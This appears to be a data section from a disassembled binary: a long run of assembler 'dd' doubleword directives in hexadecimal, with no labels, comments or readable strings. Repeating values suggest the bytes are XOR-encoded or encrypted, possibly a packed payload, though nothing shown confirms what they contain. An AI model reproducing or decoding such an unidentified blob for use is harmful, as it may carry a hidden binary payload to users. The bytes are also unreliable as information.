		dd 57B7989Eh, 0CB34015Dh, 1132156Dh, 2300F146h,	4BFA4B44h
		dd 0DDDD1682h, 9A3DE9B6h, 8832156Ah, 0A3B37306h, 0A354AA75h
		dd 701D3390h, 0F12A90EFh, 4FDB137Dh, 0D321566h,	0E7C9B860h
		dd 30536E0Ah, 0C1F42B14h, 24260F3Fh, 265AED33h,	87AE0E4Bh
		dd 44321FEDh, 0A63D7566h, 11321566h, 7753BDD2h,	502350D3h
		dd 2220FC60h, 0F9A61566h, 1BFAC767h, 2DF07F8Dh,	0D3EEB52Ah
		dd 0C3A325A5h, 0B32190EBh, 0C83D1372h, 22321567h, 0E8E2EA9Eh
		dd 0F11290EFh, 4B52137Dh, 223214E7h, 0D5B2ED66h, 0DF47424h
		dd 42260F3Fh, 85AEC25h,	71E0C096h, 88BC1A34h, 1F321566h
		dd 5ED29400h, 9A3D7423h, 88321561h, 44339C69h, 0DDCE1566h
		dd 52350D3h, 8826FC60h,	0C4201566h, 35FE49D1h, 0C9FF0461h
		dd 0AF0C5AFCh, 8416ADF5h, 0A7BFB496h, 17262E75h, 88321A8Fh
		dd 16041A66h, 0F44EE90Fh, 5EF2FC5Ah, 554671E2h,	0CB3DC599h
		dd 22321567h, 35B79C9Eh, 61340E1Fh, 4432156Ch, 0E0A457A1h
		dd 0EC40E4BBh, 0DF44E08h, 42260F3Fh, 2222FC34h,	0B44A1566h
		dd 1D7B9C2Ch, 130B746Ch, 56889794h, 943D17BDh, 88321571h
		dd 4432078Fh, 77422366h, 0F66ADC35h, 807F6DF5h,	4C87858Ch
		dd 4A60E104h, 0EC70A18Ch, 0CD87EA9Ah, 24340177h, 0D8EBAB00h
		dd 1E53D4EDh, 883201ECh, 4ABF1A66h, 0CB321566h,	1132156Fh
		dd 0E3436382h, 897433D4h, 31B79821h, 1E34015Dh,	883219E4h
		dd 42B41A66h, 2D321566h, 113215EFh, 61E2EA66h, 4432156Bh
		dd 6EFA40E9h, 5812F417h, 7CA36FE8h, 91B79CFDh, 2D340145h
		dd 11321DE1h, 33D7566h,	44321566h, 7BB7D307h, 5634017Ch
		dd 948AAA06h, 0C93D50E6h, 22321560h, 624D4E7h, 0E053263Bh
		dd 0A6AA4CFFh, 6787EA93h, 1E340177h, 883214EDh,	0C1BFE066h
		dd 24262E75h, 90F59E06h, 8A741989h, 94CD7479h, 0AB79C9Fh
		dd 0E9340E1Fh, 926B90A0h, 0AD751372h, 22321561h, 4EA43CE2h
		dd 7D1A2F62h, 0B952D70Eh, 223FFCD7h, 907E1566h,	833CD3FEh
		dd 43E0939Ah, 0DD8A5C04h, 52350D3h, 8822FC60h, 34F01566h
		dd 8F75C1E7h, 37749414h, 7857C474h, 0C1BFB4BAh,	24262E75h
		dd 1132068Fh, 0CFDBA866h, 0A030AF8Eh, 151BE272h, 0D05C9688h
		dd 52CA9DB4h, 56DBC599h, 0C1321566h, 0FD02DDAFh, 0DBAAB1D9h
		dd 83785664h, 0CED8D907h, 3DB79CBFh, 74340E1Fh,	44321C8Fh
		dd 43F77066h, 0D9DD3784h, 0DF44E00h, 42260F3Fh,	365AE021h
		dd 0E8EDB398h, 9977A099h, 41DB1372h, 79321566h,	4080D9CFh
		dd 0B32190EBh, 0CC3D1372h, 22321567h, 0F8E2EA93h, 8832156Ch
		dd 0A97D0A49h, 55CA8EE4h, 94BBABBAh, 8E296C56h,	4432198Fh
		dd 0CF5B5066h, 10E0A54Ah, 46D1F9F2h, 1DB7D3A2h,	7D34017Ch
		dd 11359469h, 23D1566h,	44321567h, 4A5AED93h, 0F8AC4594h
		dd 88321575h, 82D580E2h, 51F1EF05h, 5EFB25EDh, 1CC23811h
		dd 0BBCA792Bh, 362350D3h, 1123FC60h, 14CD1566h,	9C820779h
		dd 90291FC1h, 2A938090h, 5CCDADAh, 500906E3h, 223DFC60h
		dd 0D3341566h, 0F1EC028Bh, 0EC5EC859h, 54295BD7h, 1EE2EAD8h
		dd 883214E5h, 4EDBEC66h, 36321566h, 0DD4E030h, 3683ED63h
		dd 70B79C86h, 0CB340E1Fh, 11321561h, 4CCB97CDh,	0ADDE2E97h
		dd 22321563h, 7BB9C80Ah, 0D1B7D304h, 0B34017Ch,	590D7D93h
		dd 9C3DD29Ah, 88321567h, 187EA9Ah, 2D340177h, 113214EFh
		dd 0DBFEC66h, 42262E75h, 0EFE09406h, 7119A144h,	88329D69h
		dd 42DA1566h, 68321566h, 24A596ABh, 0E9534C55h,	55DBC599h
		dd 98321566h, 917A8798h, 8E6E44ABh, 8515D96Ah, 1187482Fh
		dd 71B79C93h, 61340E1Fh, 44321575h, 0C1975675h,	422436F7h
		dd 442ECA66h, 0EEACBA31h, 0E4EBE819h, 5284CE3h,	82DB5260h
		dd 9F321566h, 55B0E4EBh, 59BB7EE0h, 0E67E7D47h,	0AD52EF3Dh
		dd 22321561h, 0C5D1C78Ch, 0E962DD8Fh, 5577A099h, 32DB1372h
		dd 0CA321566h, 0C184324Dh, 21DA4DD2h, 0A5781677h, 9C1BBF7Eh
		dd 9C0906E3h, 94CDE960h, 22359669h, 953D1566h, 88321567h
		dd 20B79C9Eh, 42340E1Fh, 11321F8Fh, 0DB6F9266h,	0AF7B92D7h
		dd 2D7359DEh, 0D753CED1h
		dd 9C284CE3h, 0C23D5260h, 22321576h, 1134FD06h,	92C41566h
		dd 50FB0268h, 43F39F3Ch, 1716D80Eh, 89B71AA5h, 0BD321566h
		dd 44CB9E06h, 0FE4DCBE7h, 0CD87EA07h, 0BD340177h, 31B7989Ah
		dd 0F834015Dh, 88321574h, 49AD33DBh, 82C8FB5Ah,	0F1821FDCh
		dd 186DD79Eh, 0BBCB0636h, 223EFCB6h, 8CC11566h,	0BCFA3879h
		dd 1FA498D8h, 0A7BBEF21h, 17296C0Eh, 88389F69h,	22521566h
		dd 3006E5E7h, 709ACDE6h, 926B90A0h, 0BC6D1372h,	9952D90Eh
		dd 0A4CDE9B2h, 8E260423h, 57B7989Eh, 2D34015Dh,	11321DE1h
		dd 8AB41A66h, 24321566h, 2DE2EA07h, 113205E5h, 8839FC66h
		dd 61FB1566h, 39827EB9h, 409633E6h, 0B0B79CB3h,	0BC340E1Fh
		dd 386B90A0h, 0E46D1372h, 61665B0Eh, 443EFCF8h,	6D061566h
		dd 0FEB20FCEh, 0BED07860h, 0F1CD9769h, 24260423h, 0FFB24206h
		dd 9CDB4CC1h, 0BE321566h, 7A442831h, 1FC970ECh,	8AA12400h
		dd 7DDCF865h, 43BD7AF0h, 2A2190EBh, 0F3D1372h, 44321567h
		dd 0CBE2EA9Ah, 11321560h, 0ADE83452h, 0C1BBC2C4h, 24296C5Ah
		dd 1132198Fh, 9BA9AE66h, 8D7373F8h, 9D86D3C8h, 48B7D3DAh
		dd 0D734017Ch, 46BB1A06h, 0A9321566h, 16D994BCh, 0E9252603h
		dd 571A5D0Eh, 33BD1AB7h, 0F8321566h, 8832156Ah,	918DF64Dh
		dd 25933C2Fh, 0B0CD726Dh, 9977A099h, 43DB1372h,	3C321566h
		dd 0D68FF1D7h, 73DABCCh, 44321567h, 31B7989Fh, 0ED34015Dh
		dd 7D52C599h, 0A888C4E7h, 0AB531AEFh, 0A4B55E3h, 8FBB1A60h
		dd 4B321566h, 223214E8h, 1558E066h, 98327D9Ah, 0ADC71566h
		dd 22321568h, 0FB8C4ED9h, 87F8E890h, 0F00FC8B0h, 225ADC4Ah
		dd 71321576h, 23DE7EDh,	44321564h, 48537406h, 0F9C77566h
		dd 8832156Fh, 712C4B26h, 1A69E482h, 0EE534C8Ch,	9C16BCF3h
		dd 0C63D7560h, 22321563h, 6DC59400h, 8838FD0Ah,	0DC491566h
		dd 1CE0B216h, 0BF0A1A2Ah, 564BAC00h, 0C1BB7438h, 2426191Fh
		dd 11339D69h, 5C71566h,	5F180CE3h, 0AC3D7560h, 1132156Ch
		dd 8832108Fh, 42729966h, 0A354DC4Eh, 70F4E9B9h,	83DC599h
		dd 4432156Ch, 0CBB37306h, 9A54A349h, 8C5874A0h,	54327D93h
		dd 4ACA1566h, 11323566h, 8DB01A06h, 22321566h, 0A078C5E7h
		dd 0F8327F07h, 88321575h, 0A5C529A2h, 3CD01088h, 9845F7h
		dd 5C824BFCh, 0BB2AA382h, 3616BCF3h, 19DBEC60h,	0FE321566h
		dd 0B373D9A0h, 0AB56832Ah, 52AA0E3h, 8FBA1A60h,	24321566h
		dd 0F17444DEh, 94BB744Ch, 8E2615EBh, 442F9569h,	0A03D1566h
		dd 11321571h, 8832078Fh, 0D0E57866h, 0DC4EF18Ch, 52881E9Ah
		dd 10F42F24h, 2E9AE9B3h, 2239FC26h, 5A151566h, 0D304034Ah
		dd 0EB1242C1h, 2EB91A27h, 1E321566h, 883213EDh,	44B31A66h
		dd 4A321566h, 11320566h, 88229269h, 0CC3D1566h,	2232156Ch
		dd 1132108Fh, 0C10EA366h, 445A8464h, 42321466h,	11379369h
		dd 69881566h, 1645AC0Fh, 0CC34AA00h, 1158743Eh,	21A7EA9Fh
		dd 0BD340142h, 0F6F90EFh, 0F8CA1372h, 88321575h, 9566588Ah
		dd 8358FDB1h, 30396C64h, 9B146CE1h, 0CF892B1Dh,	3621F0D3h
		dd 16BA1A60h, 0E8321566h, 0FB3DEFECh, 0BFB974ADh, 1726108Fh
		dd 54EC9406h, 16583220h, 6519FCE7h, 70695150h, 0BC53A0EFh
		dd 56DB1372h, 41321566h, 0C94ACD2Dh, 621371B9h,	7E27D589h
		dd 0D454D819h, 1137FC47h, 4EF41566h, 0CDFCF07Ah, 361674FBh
		dd 8CB9EC60h, 8E26108Fh, 0CF547506h, 28DB74B0h,	0E6321566h
		dd 0D18D22D6h, 5517F63Fh, 11CD7425h, 921619EDh,	85DB11A2h
		dd 75321566h, 339550FBh, 38D8A60Bh, 211127AAh, 4B32ECE5h
		dd 220B59E2h, 1134FC66h, 6A81566h, 8AA009A3h, 0A3D39C37h
		dd 113211A7h, 8CDB9466h, 0C3321566h, 0AB6E316Ah, 43CA3162h
		dd 4AB3F7EFh, 44321562h, 2236FFE7h, 5B51566h, 84BB4942h
		dd 45BC1A42h, 0DB321566h, 0D103ED06h, 0A4B8AA06h, 7C884177h
		dd 4342F0BAh, 13C790EFh, 0D3D1372h, 4432156Eh, 22309169h
		dd 70521566h, 880EAD36h, 82BB1566h, 0A11611EDh,	775211A2h
		dd 4BB3E7EDh, 7EA770A9h, 6E8B4407h, 907D9F36h, 624C958Fh
		dd 96C39431h, 0BDDCF8Ah, 65314CA8h, 4EB33542h, 5C772878h
		dd 22389769h, 77521566h, 954D2EDh, 253CDBA7h, 9C52B800h
		dd 5970C5ABh, 2DC2FBE7h, 695349C0h, 7FA579FDh, 0AE4D354Bh
		dd 0AC76161Ch, 3B121046h, 0B9376FD9h, 716F820Ah, 88319169h
		dd 0CF541566h, 21B31AA0h, 1E321566h, 7753EFD9h,	68B36D16h
		dd 1A077642h, 0AA614B77h, 0E5725024h, 0C5E1E225h, 0C76A9DA5h
		dd 17D1D46Dh, 930FEA7h,	5CCCC88Dh, 79EC147Fh, 17DBEC06h
		dd 76321566h, 0D664FEE9h, 0CCB37436h, 42201FCEh, 0A8166165h
		dd 0F87AA31h, 0D5B33A8Ah, 1CE3572Fh, 9E5E229h, 540B9589h
		dd 61D59475h, 90034A12h, 880CBD91h, 1BCC1435h, 2232078Fh
		dd 4BE05E66h, 72BFCF5Fh, 21F8A6ABh, 0F579A55Dh,	0EEDE1794h
		dd 0B4B90D10h, 40F69642h, 223E9769h, 9D3D1566h,	88321560h
		dd 44329A69h, 9FBB1566h, 1726375Fh, 6150A706h, 44321577h
		dd 0CAA8CE3h, 35706816h, 6C830B64h, 0FA98D2DBh,	0DDB7744Dh
		dd 11769069h, 86DB1566h, 0E4321566h, 0B8AF3195h, 5E6579F4h
		dd 7F8438D3h, 4439FC4Dh, 62551566h, 0E3454B6Dh,	2B7F4084h
		dd 2425FD06h, 0CBCE1566h, 11321066h, 8832048Fh,	7B936466h
		dd 2ADA9093h, 0F6BBB5D9h, 5294E6Ch, 0CD63ACD7h,	26F39487h
		dd 90321566h, 8832118Fh, 603E9266h, 63E9C3Ah, 11321B8Fh
		dd 0A2CE9A66h, 0FE2FD250h, 9106FE03h, 469D88E5h, 0DAF8AA31h
		dd 381B296Eh, 786D1142h, 43F8D7E7h, 6152296Eh, 44321575h
		dd 78430280h, 68A26B40h, 6CFE6E8Fh, 0C5C05148h,	43A8C0A0h
		dd 0D415AE06h, 35452ADh, 965974A5h, 2220FC62h, 19A61566h
		dd 676875CDh, 933ECAD6h, 12BF9DDBh, 72B0701Dh, 0A39780EFh
		dd 4BDB1372h, 8A321566h, 0C227E19h, 0B1240CFBh,	76F963C8h
		dd 27DBB4FEh, 0D4321566h, 876F9E98h, 0C552110Ch, 0E73D795h
		dd 115A7468h, 0E8321576h, 44321C8Eh, 14923366h,	0C55A9F9Bh
		dd 71B9F0BAh, 605A7439h, 0AB32157Bh, 77523172h,	0EB31C4E7h
		dd 0AD327F07h, 2232156Fh, 0BB900366h, 0D7855CEDh, 0EDA7EA19h
		dd 0DA340142h, 206F90EFh, 9ADB1372h, 6F321566h,	64232B57h
		dd 5A574FD0h, 9684B70Ch, 8A21DE7Bh, 0E1BB4652h,	0DB9CFEFh
		dd 8CF69442h, 24321566h, 2232078Fh, 94833466h, 738FE50Ah
		dd 9816D100h, 2A9AF3h, 77834B9Bh, 0E9E909DFh, 1D162199h
		dd 0DE36D1E5h, 116CD58Eh, 85B01A66h, 0AD321566h, 2232156Eh
		dd 0E6CA0E2Eh, 8450654Bh, 0C5D79C33h, 223211A3h, 15DF9466h
		dd 0F321566h, 0CD6E314Ah, 0A63D3152h, 1132156Eh, 88309869h
		dd 25521566h, 0DE52B89Ah, 9EABE7DEh, 31637457h,	79FB4191h
		dd 6B73E4E7h, 0D0B310ACh, 82B52F71h, 476BDD4Fh,	27163122h
		dd 53B842ABh, 88321E8Fh, 99F27266h, 0E721ED91h,	0E37EA629h
		dd 36A4236h, 80B1315Ah,	2235FC62h, 45271566h, 3109995Fh
		dd 40DE94ACh, 0AB321566h, 15B3315Ah, 0A72C7F42h, 0AFB34E10h
		dd 541D0B0Ch, 0C2C7D9Ah, 0B4BB1566h, 45B81A42h,	0DA321566h
		dd 7752D556h, 5BADF5E7h, 4432078Fh, 0CF0C4066h,	0E545151Dh
		dd 0DF57BF7h, 0E39462C4h, 435D369Eh, 0F8CF60C8h, 88321574h
		dd 0C5CCD57h, 0C5E9228Ah, 948D861Ah, 53AA890Ch,	0CF3D3100h
		dd 22321567h, 1DB11A9Fh
		dd 87321566h, 443213E9h, 22B31A66h, 9A321566h, 1623152h
		dd 44361086h, 0E2B11566h, 35369262h, 8834FC3Ah,	0E0CE1566h
		dd 0FCE3E821h, 27ECFAE7h, 571B3381h, 3345AF34h,	0E0B30E28h
		dd 1AAAAA01h, 6168C267h, 44321572h, 29F980A6h, 54DEE31Dh
		dd 0EE0A8276h, 0ED1E016Dh, 0C88C4ED9h, 90D59C31h, 883211A1h
		dd 40DD9466h, 0A5321566h, 986E315Ah, 73D3172h, 44321564h
		dd 4A5A7406h, 9832150Dh, 8768315Ah, 443217EAh, 0A9537566h
		dd 53E6CDBh, 8821FC60h,	6EF91566h, 0F227A3ADh, 66138EB7h
		dd 52912A39h, 0A8A52159h, 0DDCDAC92h, 20CBEA99h, 0E060E9A6h
		dd 44321566h, 0A8C0143Ch, 3DB4F64h, 2F321566h, 3B75131Fh
		dd 0BC465AD6h, 69BEBD67h, 7F7E13FAh, 24FA2517h,	12897393h
		dd 0A962741Ah, 0B4F678D5h, 7C2BED6Bh, 0B52106Fh, 4B1F271Dh
		dd 894262C1h, 0C33D4DA0h, 22321573h, 113D9469h,	82DB1566h
		dd 0E2321566h, 48A46FB3h, 4FE229A9h, 0F06EA88h,	6F1621E7h
		dd 7A19B726h, 5119AA31h, 70033EC4h, 0ADF3E039h,	0F4B3756Eh
		dd 47869003h, 4903749Fh, 0C13D5F93h, 0DDCDEA15h, 113F9269h
		dd 80DB1566h, 98321566h, 87E0997Ch, 4718D1BAh, 165DBEFh
		dd 1BCA9C91h, 42CB7538h, 11329969h, 0E3D1566h, 44321566h
		dd 0B1CA7407h, 3526E235h, 8752863Dh, 0C28DD3D9h, 432BFA00h
		dd 4B162199h, 8836D1E7h, 4B521566h, 223216EFh, 0CAD79566h
		dd 0BCB34507h, 391C9C42h, 73309A52h, 113215DFh,	9E31466h
		dd 391C9C57h, 0CB524C52h, 1132156Fh, 4F8E6620h,	1C1FA15h
		dd 43C09EDBh, 0AC67439Eh, 88321562h, 456FFBEFh,	25DB4B94h
		dd 0C1321566h, 11558062h, 0CD64C86Ch, 26F49480h, 92321566h
		dd 0BCB51188h, 50BB4942h, 2238FC42h, 0B91E1566h, 56627017h
		dd 0A10395DAh, 20C79099h, 18DB1372h, 16321566h,	0E5AB8947h
		dd 0E0336DB1h, 13C780EDh, 0DB521372h, 1707AA00h, 0C9F5943Ch
		dd 705C516Ah, 0AA0B805Fh, 0C03D1372h, 2232153Bh, 35269E9Eh
		dd 9D59C31h, 443211A1h,	26F59466h, 96321566h, 716E315Ah
		dd 141621EDh, 2637F5EFh, 14321566h, 88321562h, 181611E1h
		dd 22339D69h, 41CA1566h, 8836AA31h, 0BCBB1566h,	7AF41439h
		dd 0ED80FC9Ah, 0E8CEEA99h, 4CDADDEDh, 30321566h, 0A9B278AAh
		dd 0EEAAD2EDh, 1A34F3D9h, 606EA07h, 15F6943Ch, 87321566h
		dd 44321FEEh, 2237FC66h, 9FB41566h, 330E35Fh, 0CD643152h
		dd 26F49480h, 90321566h, 883211A0h, 60069266h, 23BD1A3Ah
		dd 0E8321566h, 83B81A07h, 24321566h, 0A3C5A269h, 483A468Fh
		dd 84B9746Dh, 0A3BB4242h, 2236D2E7h, 0D6B11566h, 0AC0E9262h
		dd 4420FC3Ah, 4A5E1566h, 0A66EA5B0h, 0F1F39FEh,	16A8C893h
		dd 8AA00B63h, 3506EA93h, 8CF6963Eh, 268C7306h, 0A13D75BDh
		dd 11321566h, 0E953B3D2h, 5E2F90A1h, 22321372h,	47521566h
		dd 0D7CBAA69h, 4432058Eh, 0C5E11966h, 0ECF88E82h, 0C6410D10h
		dd 65AFD83h, 6EF095C7h,	94F57439h, 8E260787h, 44321566h
		dd 223AFC93h, 92BA1566h, 4F714086h, 0F9B107E6h,	24296DCEh
		dd 64B61A66h, 70321566h, 44289569h, 0CB521566h,	11321576h
		dd 58F9890Dh, 50875111h, 426163C0h, 647A88D4h, 0E9C8AA69h
		dd 0DCE888EBh, 42C7137Ch, 984CAC06h, 40B94A5Bh,	4423FD07h
		dd 1C881566h, 0A7DC5582h, 0C9AF4054h, 678EFAB0h, 0CBCFEA35h
		dd 1132156Dh, 9762192Ch, 0B550CAC0h, 7A3B840Fh,	1EE1EA07h
		dd 883206EBh, 443CFC66h, 8C681566h, 0D641AA37h,	38454916h
		dd 694B99D1h, 213B9099h, 0F8C71372h, 8832156Ah,	9D8DA24Fh
		dd 0EEB83EDh, 5ACF449Ah, 8B3BA8E5h, 4B561372h, 223099E4h
		dd 1DB81A66h, 87321566h, 443213E9h, 22BC1A66h, 0D6321566h
		dd 9C311CE3h, 44321460h, 4252ED66h, 0CBF39437h,	0D178AFA5h
		dd 44321E8Eh, 464E5F66h, 5C1D868Ah, 0CB057103h,	256C7406h
		dd 61B890EBh, 7752137Dh, 0D4A8CDE7h, 94CD749Ah,	0CBCC9E06h
		dd 11321560h, 0BF5961ECh, 0C953ADF6h, 394B6DD3h, 113FFC60h
		dd 0EF2E1566h, 461F9CD0h, 0D1FAA7EBh, 9CE3A72Ah, 9436DBDBh
		dd 0FA64ED60h, 7AD20212h, 0C03AFBA7h, 72DC9488h, 0A69E83Eh
		dd 0A336FBA7h, 0EAD67D90h, 0D6C51424h, 0ABB3E24Fh, 6A8B007Fh
		dd 9BD19406h, 0E90EFA12h, 60269E31h, 4236D1E5h,	71FAA269h
		dd 8832138Fh, 0AC699466h, 0CB55FEE8h, 1132156Fh, 0BAE91148h
		dd 1B6E4DEEh, 0A953742Ch, 53E6CDBh, 8821FC60h, 0CE9E1566h
		dd 0BA284547h, 5E2C79Fh, 2FCBA2F5h, 0B1E40273h,	0DDCDAC00h
		dd 953DEA99h, 8832156Bh, 44321D8Fh, 0ECC75B66h,	3010C1A0h
		dd 61F2249Eh, 4432156Ch, 7293BD9Ah, 726F42FCh, 0E852207Dh
		dd 44321E8Fh, 0CDAEFA66h, 0B6742584h, 4673703Eh, 8EB97307h
		dd 228B4407h, 10321566h, 88884797h, 45321566h, 78309FACh
		dd 0D902EC3Fh, 88339E69h, 11CB1566h, 223214DBh,	4CDC1466h
		dd 50851A06h, 44321D8Fh, 0DF502666h, 7D940F78h,	0BCCD746Dh
		dd 0D88847E1h, 132A9811h, 4B363132h, 0FFAE203Eh, 85C70DEBh
		dd 2BDB1D8Fh, 0C8321566h, 0BAFCFCF4h, 4B9334BBh, 68CED457h
		dd 0EE5D9069h, 82DBEA99h, 39321566h, 7C9FF13h, 6943B09Fh
		dd 8CDE94EDh, 0CD321566h, 0EB3316Ah, 0D3164F42h, 0D2374D0Dh
		dd 2459D742h, 72534E31h, 0E66C4D30h, 0E3D83B0h,	4432156Ch
		dd 0E9B37306h, 0AE3D6FA8h, 0D0B74B9h, 42261A6Fh, 22BF9169h
		dd 1DB1566h, 0A4321566h, 11F68830h, 0BDF20C59h,	0F7039601h
		dd 0D94F64F6h, 140DC5DFh, 0E2027D32h, 106ABEC9h, 8DDB4CAEh
		dd 0E1321566h, 9747E334h, 943DD56Dh, 8832154Eh,	4432048Fh
		dd 0F2FB2E66h, 0C5AB5C03h, 0E181CF79h, 72277175h, 0E5CB5F3Eh
		dd 53640E3h, 88321460h,	9CB97566h, 0D753EDEDh, 181EAF34h
		dd 62F355F8h, 0E8F8946Eh, 74387951h, 113215D8h,	0FE43C66h
		dd 86B34B94h, 28AC0C01h, 0F868C467h, 88321561h,	6D746F43h
		dd 43FDDCD6h, 11249469h, 99DB1566h, 0A4321566h,	3CB41502h
		dd 0EA3ED6CBh, 0F5744391h, 5F68F1AEh, 0C79B7D9Eh, 1DB960EDh
		dd 8CF69642h, 44269069h, 42521566h, 1139FC07h, 19D01566h
		dd 0FBBBFD2Ah, 9A6FDF1Dh, 2DB7418h, 20321566h, 4AC8A105h
		dd 0E7242851h, 0F365BC32h, 0F41E4C6Eh, 0D788D200h, 0D574B76Dh
		dd 43E8E2BCh, 0D2160991h, 0AEB35F2Ch, 0B8A660E7h, 11339069h
		dd 25CB1566h, 25879C9Fh, 42340152h, 0C2851A37h,	8753EC3Eh
		dd 443207EBh, 2EBF1A66h, 0F8321566h, 88321561h,	0A700999Ch
		dd 0A3875712h, 1132118Ah, 0AC1E9C66h, 0B92BD80Eh, 0CFB34865h
		dd 12CF0CABh, 0D5CE7BEFh, 54DB4306h, 0AC321566h, 45917472h
		dd 0C9D915B9h, 4ACFC772h, 7A4A31D6h, 0BF4E1BDDh, 660F7422h
		dd 4BDCFB88h, 2232D6E3h, 19B81A66h, 87321566h, 443217E4h
		dd 0DE537566h, 0CCEF2BE7h, 0D3DC8BBh, 443215CEh, 22339D69h
		dd 46CE1566h, 883215D9h, 44884766h, 23321566h, 4B089C94h
		dd 8826FC39h, 0F6A61566h, 5B55A0CFh, 25DC7B20h,	2AAA7812h
		dd 87E3BD6Ah, 0AD3D7936h, 11321567h, 818B449Ah,	0C5373649h
		dd 67338687h, 0C8C55C4Ch, 930FCA7h, 447251A7h, 7BFC14A6h
		dd 11339D69h, 1C71566h,	500674D3h, 6DDBEC60h, 1E32154Ah
		dd 88321CE0h, 0C5547566h, 921CA789h, 1EDB7412h,	0C2321566h
		dd 2E80728Eh, 0C2DD1FE5h, 0EB5C8F67h, 1ADB7D46h, 4BCDEA98h
		dd 223206E3h, 113CFC66h
		dd 7EAD1566h, 0F7AEE67Eh, 0E2B0E5EDh, 0A6060AC8h, 882C5D0Eh
		dd 60369C66h, 0D31621E7h, 4A09685Ah, 0B4C3E6E7h, 55DB2E1Bh
		dd 8F321566h, 4E3637AFh, 0AACCDF44h, 980424D5h,	76788BA9h
		dd 15679055h, 49C71372h, 4EDB16AEh, 0A6321566h,	209EAE3Ch
		dd 41EE0D1Fh, 0CF547555h, 28DA75A4h, 50321566h,	13A37E28h
		dd 1FFABF87h, 0A9544C27h, 145374A5h, 0D4CE2AEEh, 0FA64C54Fh
		dd 7ECE2AEEh, 0F86CE54Fh, 8832156Eh, 0E8124BECh, 0AD4B1B82h
		dd 1E22D5A7h, 88321AEFh, 41DA7566h, 0E321566h, 79CC4523h
		dd 0E96B433Ch, 0CDC7DD57h, 363640FBh, 113EFC60h, 5D931566h
		dd 225A093Dh, 0A5EDA49Dh, 110FDBB1h, 87321466h,	4433DEE5h
		dd 0A3CAE966h, 0AA89AE58h, 35B71ADDh, 24321567h, 22339469h
		dd 90CA1566h, 0C8D426A9h, 0FE607401h, 9A0EC7h, 12F5E7E7h
		dd 30620A71h, 2FC3162Eh, 0C717CD91h, 1462A647h,	3A0CD39Ch
		dd 0CD6AD767h, 72CA4F70h, 7BC9AE35h, 4979629Fh,	0AFF3168Dh
		dd 0F5F1946Eh, 98CDE466h, 4E334EBEh, 51B01A3Eh,	0CB321566h
		dd 11321576h, 9E07F545h, 0BAB1EBEBh, 154C22DFh,	54C4F7CBh
		dd 0BC53A0EFh, 0CE3D1372h, 22321561h, 11339169h, 3CA1566h
		dd 5037FCFBh, 2AB51A60h, 1E321566h, 883217EEh, 0BB537566h
		dd 7D8C4355h, 203AD176h, 0D6363112h, 1BC3943Fh,	0CB3AD176h
		dd 11321561h, 0A54D4F76h, 1336A34Eh, 0D8BB4A36h, 10BD1A39h
		dd 7D321566h, 443EFC06h, 0A6C31566h, 6FCDAB70h,	6364C729h
		dd 0A8B1A2A9h, 6269C62h, 0EE1611E7h, 0D0402775h, 7621EA4Bh
		dd 2ADBE014h, 0A6321566h, 1234D76Fh, 6F0DC04Bh,	362E98E3h
		dd 0F1F3EC60h, 8837FC64h, 66C81566h, 21BE4FF1h,	53DE4E3h
		dd 53D7560h, 44321566h,	43E39E00h, 15DE9636h, 0D01621EFh
		dd 0B19FE938h, 3C55F463h, 47FA147Bh, 9655F4D8h,	1AC23C7Bh
		dd 2232068Fh, 5D3E9366h, 0B1317B73h, 8662ACF7h,	9792EE21h
		dd 2A607D7Eh, 941651EFh, 0CF547506h, 223EFCB6h,	0EFE01566h
		dd 1EBB741Ch, 0A6F9D399h, 0CA53C792h, 1132156Dh, 0C8C93230h
		dd 0B6029B39h, 0CBC3FBB3h, 1132156Ah, 83CC507Ch, 957278EAh
		dd 80646ECDh, 1E53743Fh, 883214EBh, 0EEDBE966h,	42321564h
		dd 25E59400h, 8820FCB7h, 76B61566h, 3ABFF56Dh, 0BCDB26F6h
		dd 504B6432h, 0D1A1A7C0h, 2234FC07h, 515D1566h,	834AE4A5h
		dd 4471310Eh, 63E9C66h,	11339C69h, 0DAC71566h, 86B3F7EFh
		dd 22321562h, 9636FFE5h, 16E3172h, 4B523172h, 223215E8h
		dd 0C7FC9466h, 0E969295Ch, 0CFCBDC57h, 360348F3h, 1309E060h
		dd 88959169h, 0C73D1566h, 22321567h, 158F409Eh,	89321566h
		dd 601E9E8Ch, 2236D1E7h, 1E521566h, 88320FECh, 4426FD66h
		dd 96531566h, 542B7FD6h, 29576D1Dh, 9D7E858Dh, 566056ACh
		dd 0AF6956D5h, 0AC892953h, 458C4307h, 23321566h, 1DB4B97h
		dd 15321566h, 0C89F0401h, 9E7B5BA9h, 11F89193h,	0B32FBA8Ah
		dd 50102CEBh, 0ADB71A60h, 0E8CDEA99h, 0C2FDAC37h, 95C516E9h
		dd 1E2AAE35h, 0C8130457h, 33C3943Dh, 501AF3Ch, 4C9EFCE7h
		dd 0D9BB36ECh, 84BF1A3Fh, 0AD321566h, 22321561h, 19702C54h
		dd 5FC8D5Fh, 507F6CEBh,	0C3CDEC60h, 0E4BF9C9Eh,	61340164h
		dd 4432156Eh, 3062FCCAh, 1A52D7CDh, 0D2162199h,	4436D1E7h
		dd 27DB1566h, 41321566h, 755026F5h, 1D162199h, 4236D1E5h
		dd 70EC9E00h, 88359669h, 22521566h, 0DBBF8BD8h,	0F1BB4507h
		dd 88321163h, 40DA9666h, 7E1611E1h, 0F81621EFh,	88321568h
		dd 0C7558AA6h, 53A2F357h, 0E5040C1Bh, 86DB37A0h, 0A4321566h
		dd 5B3A01Dh, 0EA0CAEDAh, 3516064Fh, 0ADAF9EE1h,	2D340163h
		dd 113205E4h, 82B01A66h, 0AD321566h, 22321563h,	0A09D389h
		dd 888847CBh, 45321566h, 228A45BCh, 10321566h, 0D03A9EB6h
		dd 443FFC3Ch, 1BF11566h, 54CD7B7h, 1113F037h, 0CFF8481Ah
		dd 3630E0E3h, 1BB61A60h, 0E8321566h, 0CB3D4B35h, 22321566h
		dd 0E9D2C407h, 0A45B9065h, 22521372h, 5FF7F7E7h, 1132018Fh
		dd 2CCBB766h, 3B92D04h,	78E62BCCh, 0F7ED5FCDh, 7C098C00h
		dd 75CA74D3h, 0CC5AE990h, 98321570h, 0D0643162h, 5EBA1A38h
		dd 42321566h, 1132058Eh, 30F9D166h, 0BA26584Ah,	0A101D722h
		dd 8955CB7Bh, 7AB94CDAh, 0BC9F7307h, 2D30F5A7h,	113214E9h
		dd 0D31EC66h, 42261A97h, 2232048Fh, 0C96E5666h,	26E572D5h
		dd 0C6BAB9A2h, 4424890Eh, 0E103912Fh, 7803D357h, 69C7B89Eh
		dd 16E8293Bh, 82D0163h,	0A5FA140Ah, 282B0A72h, 0F80E4863h
		dd 1E527552h
		db 0D1h
